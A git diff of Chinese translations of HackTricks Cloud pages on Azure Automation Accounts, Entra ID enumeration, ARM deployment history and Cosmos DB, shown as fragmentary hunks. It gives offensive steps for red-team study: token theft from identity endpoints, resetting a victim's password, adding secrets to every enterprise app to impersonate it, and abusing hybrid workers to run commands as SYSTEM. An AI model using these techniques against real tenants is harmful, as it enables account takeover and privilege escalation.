[来自文档:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) 要为您的 Azure 解决方案实现 **基础设施即代码**,请使用 Azure 资源管理器模板ARM 模板)。模板是一个 JavaScript 对象表示法(**JSON**)文件,**定义**了您项目的 **基础设施** 和配置。模板使用声明性语法,这使您可以声明您打算部署的内容,而无需编写创建它的编程命令序列。在模板中,您指定要部署的资源及其属性。
### 历史
@@ -13,7 +13,7 @@
## 搜索敏感信息
具有 `Microsoft.Resources/deployments/read``Microsoft.Resources/subscriptions/resourceGroups/read` 权限的用户可以 **读取部署历史**
```powershell
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>

View File

@@ -4,21 +4,21 @@
## 基本信息
Azure Automation Accounts 是 Microsoft Azure 中的基于云的服务,帮助**自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供**Runbooks**(执行的自动化脚本)、**计划**和**混合工作组**来运行自动化**作业**实现基础设施即代码IaC和流程自动化以提高管理云资源的效率和一致性。
Azure Automation Accounts 是 Microsoft Azure 中的服务,帮助 **自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供 **Runbooks**(执行的自动化脚本)、**计划**和 **混合工作组** 来运行自动化 **作业**实现基础设施即代码IaC和流程自动化以提高管理云资源的效率和一致性。
### 设置
- **凭据**:密码仅在自动化帐户内的 Runbook 中可访问,用于**安全存储用户名和密码**。
- **变量**:用于存储可在 Runbook 中使用的**配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是**加密存储**,则仅在自动化帐户内的 Runbook 中可用。
- **证书**:用于存储可在 Runbook 中使用的**证书**。
- **连接**:用于存储与外部服务的**连接信息**。这可能包含**敏感信息**。
- **网络访问**:可以设置为**公共**或**私有**。
- **凭据**:密码仅在自动化帐户内的 runbook 中可访问,用于 **安全存储用户名和密码**
- **变量**:用于存储可runbook 中使用的 **配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是 **加密存储**,则仅在自动化帐户内的 runbook 中可用。
- **证书**:用于存储可runbook 中使用的 **证书**
- **连接**:用于存储与外部服务的 **连接信息**。这可能包含 **敏感信息**
- **网络访问**:可以设置为 **公共****私有**
### Runbooks 和作业
Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、补丁或合规检查。
Azure Automation 中的 Runbook 是一个 **自动执行任务的脚本**在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、补丁或合规检查。
在**Runbooks**中的**代码**可能包含**敏感信息**(如凭据)。
**Runbooks** 中的 **代码** 可能包含 **敏感信息**(如凭据)。
**作业是 Runbook 执行的一个实例**。当您运行一个 Runbook 时,会创建一个作业来跟踪该执行。每个作业包括:
@@ -26,25 +26,25 @@ Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**,在
- **输出**Runbook 执行的结果。
- **开始和结束时间**:作业开始和完成的时间。
作业包含**Runbook**执行的**输出**。如果您可以**读取**这些**作业**,请这样做,因为它们**包含**运行的**输出**(潜在的**敏感信息**)。
作业包含 **Runbook** 执行的 **输出**。如果您可以 **读取** **作业**,请这样做,因为它们 **包含** 运行的 **输出**(潜在的 **敏感信息**)。
### 计划和 Webhooks
执行 Runbook 的主要方式有 3 种:
执行 Runbook 有 3 种主要方式
- **计划**:用于在**特定时间**或**间隔**触发 Runbooks。
- **Webhooks**:这些是可用于从**外部服务**触发 Runbooks 的**HTTP 端点**。请注意,创建后 webhook URL **不可见**
- **手动触发**:您可以从 Azure 门户和 CLI 手动触发 Runbook。
- **计划**:用于在 **特定时间****间隔** 触发 Runbooks。
- **Webhooks**:这些是可用于从 **外部服务** 触发 Runbooks 的 **HTTP 端点**。请注意,创建后 webhook URL **不可见**
- **手动触发**:您可以从 Azure 门户和 CLI **手动触发** Runbook。
### 源控制
它允许从**Github、Azure Devops (Git) 和 Azure Devops (TFVC)**导入 Runbooks。可以指示将存储库的 Runbooks 发布到 Azure Automation 帐户,也可以指示**将存储库中的更改同步**到 Azure Automation 帐户。
它允许从 **Github、Azure Devops (Git) 和 Azure Devops (TFVC)** 导入 Runbooks。可以指示将 repo 的 Runbooks 发布到 Azure Automation 帐户,也可以指示 **将更改从 repo 同步** 到 Azure Automation 帐户。
启用同步时,在**Github 存储库中创建一个 webhook**以在每次发生推送事件时触发同步。Webhook URL 示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
启用同步时,在 **Github 存储库中创建一个 webhook**以在每次发生推送事件时触发同步。Webhook URL 示例:`https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
请注意,这些 webhooks 在列出与 Github 存储库关联的 Runbooks 的 webhooks 时**不可见**。还要注意,一旦创建,**无法更改源控制的存储库 URL**。
请注意,这些 webhooks 在列出与 Github repo 关联的 runbooks 的 webhooks 时 **不可见**。还要注意,一旦创建,**无法更改源控制的 repo URL**。
为了使配置的源控制正常工作,**Azure Automation Account** 需要具有**`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给 Automation Account需要在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指明用户 MI 的客户端 ID。
为了使配置的源控制正常工作,**Azure Automation Account** 需要具有 **`Contributor`** 角色的托管身份(系统或用户)。此外,要将用户托管身份分配给 Automation Account需要在变量 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** 中指明用户 MI 的客户端 ID。
### 运行时环境
@@ -57,32 +57,32 @@ Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**,在
- **Python 3.8**
- **Python 2.7**
但是,也可以**创建自己的环境**,以其中一个作为基础。在 Python 的情况下,可以将 `.whl` 包上传到将要使用的环境。在 PowerShell 的情况下,可以上传包含模块的 `.zip` 包以在运行时使用。
但是,也可以 **创建自己的环境**,以其中一个作为基础。在 Python 的情况下,可以将 `.whl` 包上传到将要使用的环境。在 PowerShell 的情况下,可以上传包含模块的 `.zip` 包以在运行时使用。
### 混合工作组
在 Azure Automation 中Runbooks 的默认执行环境是**Azure Sandbox**,这是一个由 Azure 管理的基于云的平台,适合涉及 Azure 资源的任务。然而,这个沙箱有一些限制,例如对本地资源的访问受限以及执行时间和资源使用的限制。为克服这些限制,采用了混合工作组。混合工作组由**一个或多个安装在您自己机器上的混合 Runbook Worker**组成,无论是在本地、其他云环境还是 Azure 虚拟机上。此设置允许 Runbooks 直接在这些机器上执行,提供对本地资源的直接访问,能够运行更长时间和更资源密集的任务,并灵活地与超出 Azure 直接范围的环境进行交互。
在 Azure Automation 中Runbooks 的默认执行环境是 **Azure Sandbox**,这是一个由 Azure 管理的平台,适合涉及 Azure 资源的任务。然而,这个沙箱有一些限制,例如对本地资源的访问受限以及执行时间和资源使用的限制。为克服这些限制,采用了混合工作组。混合工作组由 **安装在您自己机器上的一个或多个混合 Runbook Worker** 组成,无论是在本地、其他云环境还是 Azure VM。这种设置允许 Runbooks 直接在这些机器上执行,提供对本地资源的直接访问,能够运行更长时间和更资源密集的任务,并灵活地与超出 Azure 直接范围的环境进行交互。
创建混合工作组时,需要指明要使用的**凭据**。有 2 个选项:
创建混合工作组时,需要指明要使用的 **凭据**。有 2 个选项:
- **默认凭据**您无需提供凭据Runbooks 将作为**系统**在虚拟机内执行。
- **特定凭据**:您需要提供自动化帐户内凭据对象的名称,该凭据将用于在虚拟机内执行**Runbooks**。因此,在这种情况下,可能会**窃取虚拟机的有效凭据**
- **默认凭据**您无需提供凭据Runbooks 将作为 **系统** 在 VM 内执行。
- **特定凭据**:您需要提供自动化帐户内凭据对象的名称,该凭据将用于在 **VM 内执行 Runbooks**。因此,在这种情况下,可能会 **窃取有效凭据** 用于 VM
因此,如果您可以选择在**混合工作者**中运行**Runbook**,您将以**系统**身份在外部机器上执行**任意命令**(不错的转移技术)。
因此,如果您可以选择在 **混合工作者** 中运行 **Runbook**,您将以 **系统** 身份在外部机器上执行 **任意命令**(不错的转移技术)。
此外,如果混合工作者在 Azure 中运行并附加了其他托管身份Runbook 将能够访问**Runbook 的托管身份和虚拟机的所有托管身份元数据服务**
此外,如果混合工作者在 Azure 中运行并附加了其他托管身份Runbook 将能够访问 **Runbook 的托管身份和 VM 的所有托管身份**,通过元数据服务。
> [!TIP]
> 请记住,**元数据服务**的 URL 与获取自动化帐户的托管身份令牌的服务(**`IDENTITY_ENDPOINT`**不同(**`http://169.254.169.254`**
> 请记住,**元数据服务** 的 URL 与获取自动化帐户的托管身份令牌的服务的 URL 不同**`IDENTITY_ENDPOINT`**)。
### 状态配置 (SC)
>[!WARNING]
> 如[文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)所示Azure Automation 状态配置将在 2027 年 9 月 30 日退役,并由[Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)替代。
> [文档](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) 所示Azure Automation 状态配置将在 2027 年 9 月 30 日退役,并由 [Azure 机器配置](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) 替代。
Automation Accounts 还支持**状态配置 (SC)**,这是一个帮助**配置**和**维护**您的虚拟机**状态**的功能。可以**创建**和**应用** DSC 配置到**Windows**和**Linux**机器。
Automation Accounts 还支持 **状态配置 (SC)**,这是一个帮助 **配置****维护** 您的 VM **状态** 的功能。可以 **创建****应用** DSC 配置到 **Windows****Linux** 机器。
从攻击者的角度来看,这很有趣,因为它允许**在所有配置的虚拟机中执行任意 PS 代码**,从而提升到这些虚拟机的托管身份,可能转移到新的网络……此外,配置可能包含**敏感信息**。
从攻击者的角度来看,这很有趣,因为它允许 **在所有配置的 VM 中执行任意 PS 代码**,从而提升到这些 VM 的托管身份,可能转移到新的网络……此外,配置可能包含 **敏感信息**
## 枚举
```bash
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

View File

@@ -4,7 +4,7 @@
## 基本信息
Azure Active Directory (Azure AD) 是微软基于云的身份和访问管理服务。它在使员工能够登录并访问资源方面发挥着重要作用,这些资源包括组织内部和外部的 Microsoft 365、Azure 门户以及众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,显著包括 **身份验证、授权和用户管理**
Azure Active Directory (Azure AD) 是微软基于云的身份和访问管理服务。它在使员工能够登录并访问资源方面发挥着重要作用,这些资源包括组织内部和外部的 Microsoft 365、Azure 门户以及众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,尤其包括 **身份验证、授权和用户管理**
Azure AD 的关键特性包括 **多因素身份验证****条件访问**,以及与其他 Microsoft 安全服务的无缝集成。这些特性显著提升了用户身份的安全性并使组织能够有效实施和执行其访问政策。作为微软云服务生态系统的基本组成部分Azure AD 对于基于云的用户身份管理至关重要。
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }}
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }}
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -149,12 +149,12 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
当您通过 **CLI** 登录 Azure 时,您使用的是属于 **Microsoft****租户** 中的 **Azure 应用程序**。这些应用程序,如您可以在您的帐户中创建的应用程序,**具有客户端 ID**。您 **无法看到所有应用程序** 在控制台中可见的 **允许的应用程序列表** 中,**但它们默认是被允许的**。
当您通过 **CLI** 登录 Azure 时,您使用的是属于 **Microsoft****租户** 中的 **Azure 应用程序**。这些应用程序,如您可以在您的帐户中创建的应用程序,**具有客户端 ID**。您 **无法看到所有这些应用程序** 在控制台中可见的 **允许的应用程序列表** 中,**但它们默认是被允许的**。
例如,一个 **powershell 脚本** 使用客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证**。即使该应用程序未出现在控制台中,系统管理员仍然可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。
然而,还有 **其他客户端 ID** 的应用程序 **将允许您连接到 Azure**
```powershell
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtabs }}
#### 更改用户密码
```powershell
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Conditional Access Policies
强烈建议为每个用户添加 MFA然而一些公司可能不会设置它或者可能会通过条件访问进行设置用户将被 **要求 MFA 如果** 从特定位置、浏览器或 **某些条件** 登录。如果这些策略配置不正确,可能会容易受到 **绕过**。检查:
强烈建议为每个用户添加 MFA然而一些公司可能不会设置它或者可能会通过条件访问进行设置用户从特定位置、浏览器或 **某些条件** 登录时将 **需要 MFA**。如果这些策略配置不正确,可能会容易受到 **绕过**。检查:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -310,7 +310,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
### Groups
有关 Entra ID 组的更多信息,请查:
有关 Entra ID 组的更多信息,请查
{{#ref}}
../az-basic-information/
@@ -318,7 +318,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -394,12 +394,12 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### 将用户添加到组
组的所有者可以将新用户添加到组中
```powershell
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> 组可以是动态的,这基本上意味着 **如果用户满足某些条件,它将被添加到一个组**。当然,如果条件基于 **属性**,而 **用户** 可以 **控制**,他可能会滥用此功能以 **进入其他组**。\
> 请查看以下页面以了解如何滥用动态组:
> 组可以是动态的,这基本上意味着 **如果用户满足某些条件,它将被添加到一个组**。当然,如果条件基于 **用户** 可以 **控制** 的 **属性**,他可能会滥用此功能以 **进入其他组**。\
> 请查看如何在以下页面滥用动态组:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -489,7 +489,7 @@ Headers = @{
<details>
<summary>列出并尝试在每个企业应用上添加客户端密钥</summary>
```powershell
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -653,15 +653,15 @@ Get-AzADAppCredential
{{#endtabs }}
> [!WARNING]
> 拥有权限 **`AppRoleAssignment.ReadWrite`** 的应用可以 **提升为全局管理员** 通过授予自己该角色。\
> 更多信息 [**查看此处**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)。
> 拥有权限 **`AppRoleAssignment.ReadWrite`** 的应用可以通过授予自己角色来 **提升为全局管理员**。\
> 有关更多信息 [**查看此处**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)。
> [!NOTE]
> 应用在请求令牌时用来证明其身份的秘密字符串是应用密码。\
> 因此,如果找到这个 **密码**,你可以作为 **服务主体** **访问** **租户**。\
> 请注意,这个密码只有在生成时可见(你可以更改它,但无法再次获取)。\
> **应用** 的 **所有者** 可以 **添加密码** 到它(以便他可以冒充它)。\
> 作为这些服务主体的登录 **不会被标记为风险**,并且它们 **不会有 MFA**
> 请注意,这个密码在生成时可见(你可以更改它,但无法再次获取)。\
> **应用程序** 的 **所有者** 可以 **添加密码**(以便他可以冒充它)。\
> 作为这些服务主体的登录 **不会被标记为风险**,并且 **不会有 MFA**
可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用应用 ID 列表。
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -801,7 +801,7 @@ az rest --method GET \
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -850,7 +850,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> 如果设备(虚拟机)是 **AzureAD 加入**,来自 AzureAD 的用户将能够 **登录**。\
> 如果设备(虚拟机)是 **AzureAD 加入**,来自 AzureAD 的用户将 **能够登录**。\
> 此外,如果登录的用户是设备的 **所有者**,他将成为 **本地管理员**。
### 管理单位
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
@@ -908,7 +908,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
Azure 中的特权身份管理 (PIM) 有助于 **防止不必要地将过多的权限** 分配给用户。
PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃的主体,而是使其 **在一段时间内有资格(例如 6 个月)**。然后,每当用户想要激活该角色时,他需要请求并指明他需要该权限的时间(例如 3 小时)。然后 **管理员需要批准** 该请求。\
PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃的主体,而是使其 **在一段时间内(例如 6 个月)有资格**。然后,每当用户想要激活该角色时,他需要请求并指明他需要该权限的时间(例如 3 小时)。然后 **管理员需要批准** 该请求。\
请注意,用户还可以请求 **延长** 时间。
此外,**PIM 会在特权角色被分配给某人时发送电子邮件**。
@@ -923,8 +923,8 @@ PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃
- 激活时需要理由
- 激活时需要票据信息
- 激活时需要批准
- 最大过期时间的合格分配
- 还有更多关于何时以及谁在某些操作发生时发送通知的配置
- 过期的合格分配的最大时间
- 以及更多关于何时以及谁在某些操作发生时发送通知的配置
### 条件访问策略 <a href="#title-text" id="title-text"></a>
@@ -943,11 +943,11 @@ Entra 身份保护是一项安全服务,允许 **检测用户或登录尝试
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> 目前建议通过条件访问策略添加这些限制,在这些策略中可以配置相同的选项。
> 目前建议通过条件访问策略添加这些限制,在那里可以配置相同的选项。
### Entra 密码保护
Entra 密码保护 ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录尝试失败时锁定帐户来帮助防止弱密码的滥用**。\
Entra 密码保护 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录尝试失败时锁定帐户来帮助防止弱密码的滥用**。\
它还允许 **禁止自定义密码列表**,该列表需要您提供。
它可以 **同时应用于** 云级别和本地 Active Directory。

View File

@@ -9,8 +9,8 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
@@ -33,10 +33,10 @@ https://<Account-Name>.documents.azure.com:443/
{% endcode %}
#### 数据库
在一个帐户内,您可以创建一个或多个数据库,这些数据库作为容器的逻辑分组。数据库充当资源管理和用户权限的边界。数据库可以在其容器之间共享预配的吞吐量,或为单个容器分配专用吞吐量。
在一个帐户内,您可以创建一个或多个数据库,这些数据库作为容器的逻辑分组。数据库充当资源管理和用户权限的边界。数据库可以在其容器之间共享预配的吞吐量,或为单个容器分配专用吞吐量。
#### 容器
数据存储的核心单元是容器,它保存 JSON 文档并自动进行索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,以“customerId作为分区键。
数据存储的核心单元是容器,它保存 JSON 文档并自动建立索引以实现高效查询。容器具有弹性可扩展性,并分布在由用户定义的分区键确定的分区中。分区键对于确保最佳性能和均匀数据分布至关重要。例如,一个容器可能存储客户数据,"customerId" 作为分区键。
#### 枚举
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -131,7 +131,7 @@ Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -A
#### 连接
要连接 azure-cosmosDBpip install azure-cosmos库是必需的。此外端点和密钥是建立连接的关键组件。
要连接azure-cosmosDBpip install azure-cosmos库是必需的。此外端点和密钥是建立连接的关键组件。
{% code overflow="wrap" %}
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -203,7 +203,7 @@ print("Document inserted.")
{% endcode %}
### MongoDB
MongoDB NoSQL API 是一个基于文档的 API使用类似 JSON 的 BSONBinary JSON作为其数据格式。它提供了具有聚合能力的查询语言适合处理结构化、半结构化和非结构化数据。服务的端点通常遵循以下格式
MongoDB NoSQL API 是一个基于文档的 API使用类似 JSON 的 BSONBinary JSON作为其数据格式。它提供了具有聚合能力的查询语言使其适合处理结构化、半结构化和非结构化数据。服务的端点通常遵循以下格式:
{% code overflow="wrap" %}
```bash
@@ -215,7 +215,7 @@ mongodb://<hostname>:<port>/<database>
在 MongoDB 中,您可以在一个实例中创建一个或多个数据库。每个数据库作为集合的逻辑分组,并提供资源组织和管理的边界。数据库有助于逻辑上分离和管理数据,例如用于不同的应用程序或项目。
#### 集合
MongoDB 中数据存储核心单元是集合,它保存文档,并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性,并可以支持在分布式设置中跨多个节点的高吞吐量操作。
MongoDB 中数据存储核心单元是集合,它保存文档,并设计用于高效查询和灵活的模式设计。集合具有弹性可扩展性,并可以在分布式设置中支持跨多个节点的高吞吐量操作。
#### 枚举
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.
@@ -280,7 +280,7 @@ Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupNa
#### 连接
在这里,您可以通过密钥或在特权提升部分描述的方法找到密码。
在这里,您可以通过密钥或在特权提升部分描述的方法找到密码。
{% code overflow="wrap" %}
```python
from pymongo import MongoClient
@@ -339,20 +339,20 @@ print(f"Inserted document with ID: {result.inserted_id}")
* 这里的其余数据库cassandragremlin...
* 查看后期利用 "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" 和角色定义,因为这里可能存在权限提升
* 查看恢复情况
* 查看恢复
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
学习与实践 GCP 黑客技术: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
